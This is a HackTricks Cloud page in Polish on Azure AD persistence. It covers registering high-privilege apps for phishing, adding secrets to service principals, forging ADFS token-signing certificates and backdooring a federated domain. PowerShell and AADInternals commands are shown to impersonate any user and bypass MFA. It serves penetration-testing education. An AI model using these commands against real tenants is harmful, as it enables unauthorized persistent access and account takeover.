Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-persistence/README.md
T

3.3 KiB

Az - Persistence

{{#include ../../../banners/hacktricks-training.md}}

Domyślnie każdy użytkownik może zarejestrować aplikację w Azure AD. Możesz więc zarejestrować aplikację (tylko dla docelowego dzierżawcy), która potrzebuje uprawnień o wysokim wpływie z zgodą administratora (zatwierdź to, jeśli jesteś administratorem) - na przykład wysyłanie maili w imieniu użytkownika, zarządzanie rolami itp. To pozwoli nam na wykonywanie ataków phishingowych, które byłyby bardzo owocne w przypadku sukcesu.

Ponadto możesz również zaakceptować tę aplikację jako sposób na utrzymanie dostępu do niej.

Applications and Service Principals

Z uprawnieniami Administratora Aplikacji, GA lub niestandardowej roli z uprawnieniami microsoft.directory/applications/credentials/update, możemy dodać poświadczenia (sekret lub certyfikat) do istniejącej aplikacji.

Możliwe jest celowanie w aplikację z wysokimi uprawnieniami lub dodanie nowej aplikacji z wysokimi uprawnieniami.

Interesującą rolą do dodania do aplikacji byłaby rola administratora uwierzytelniania z uprawnieniami, ponieważ pozwala na resetowanie hasła Globalnych Administratorów.

Ta technika pozwala również na obejście MFA.

$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
  • Dla uwierzytelniania opartego na certyfikatach
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>

Federation - Token Signing Certificate

Z uprawnieniami DA w lokalnym AD, możliwe jest tworzenie i importowanie nowych certyfikatów podpisywania tokenów i certyfikatów deszyfrujących tokeny, które mają bardzo długi okres ważności. Pozwoli nam to na logowanie się jako dowolny użytkownik, którego ImuutableID znamy.

Uruchom poniższe polecenie jako DA na serwerze ADFS w celu utworzenia nowych certyfikatów (domyślne hasło 'AADInternals'), dodania ich do ADFS, wyłączenia automatycznego obracania i ponownego uruchomienia usługi:

New-AADIntADFSSelfSignedCertificates

Następnie zaktualizuj informacje o certyfikacie w Azure AD:

Update-AADIntADFSFederationSettings -Domain cyberranges.io

Federation - Zaufana domena

Z uprawnieniami GA w dzierżawie możliwe jest dodanie nowej domeny (musi być zweryfikowana), skonfigurowanie jej typu uwierzytelniania na Federated oraz skonfigurowanie domeny do ufania określonemu certyfikatowi (any.sts w poniższym poleceniu) i wystawcy:

# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true

Odniesienia

{{#include ../../../banners/hacktricks-training.md}}